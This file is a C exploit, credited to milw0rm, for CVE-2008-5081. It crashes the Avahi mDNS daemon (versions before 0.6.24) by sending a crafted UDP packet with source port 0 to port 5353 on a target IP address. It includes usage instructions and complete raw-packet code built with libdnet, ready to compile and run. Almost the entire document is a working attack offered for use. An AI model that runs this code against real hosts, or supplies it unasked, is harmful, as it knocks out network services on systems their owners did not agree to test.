477bcbdcc0
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85 lines
1.9 KiB
C
Executable file
85 lines
1.9 KiB
C
Executable file
/*
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* cve-2008-5081.c
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*
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* Avahi mDNS Daemon Remote DoS < 0.6.24
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* Jon Oberheide <jon@oberheide.org>
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* http://jon.oberheide.org
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*
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* Usage:
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*
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* gcc cve-2008-5081.c -ldnet -o cve-2008-5081
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* ./cve-2008-5081 1.2.3.4
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*
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* Information:
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*
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* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081
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*
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* Crafted mDNS packet with source port 0 can cause avahi-daemon
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* to abort() due to failed assertion assert(port > 0); in
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* originates_from_local_legacy_unicast_socket() function in
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* avahi-core/server.c.
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <dnet.h>
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int
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main(int argc, char **argv)
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{
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ip_t *sock;
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intf_t *intf;
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struct addr dst;
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struct ip_hdr *ip;
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struct udp_hdr *udp;
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struct intf_entry entry;
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int len = IP_HDR_LEN + UDP_HDR_LEN;
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char buf[len];
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if (argc < 2 || addr_aton(argv[1], &dst)) {
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printf("error: please specify a target ip address\n");
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return 1;
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}
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memset(buf, 0, sizeof(buf));
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ip = (struct ip_hdr *) buf;
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ip->ip_v = 4;
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ip->ip_hl = 5;
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ip->ip_tos = 0;
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ip->ip_off = 0;
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ip->ip_sum = 0;
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ip->ip_ttl = IP_TTL_MAX;
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ip->ip_p = IP_PROTO_UDP;
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ip->ip_id = htons(0xdead);
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ip->ip_len = htons(len);
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udp = (struct udp_hdr *) (buf + IP_HDR_LEN);
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udp->uh_sum = 0;
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udp->uh_sport = htons(0);
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udp->uh_dport = htons(5353);
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udp->uh_ulen = htons(UDP_HDR_LEN);
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intf = intf_open();
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intf_get_dst(intf, &entry, &dst);
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intf_close(intf);
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ip->ip_src = entry.intf_addr.addr_ip;
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ip->ip_dst = dst.addr_ip;
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ip_checksum(buf, len);
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sock = ip_open();
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if (!sock) {
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printf("error: root privileges needed for raw socket\n");
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return 1;
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}
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ip_send(sock, buf, len);
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ip_close(sock);
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return 0;
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}
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// milw0rm.com [2008-12-19]
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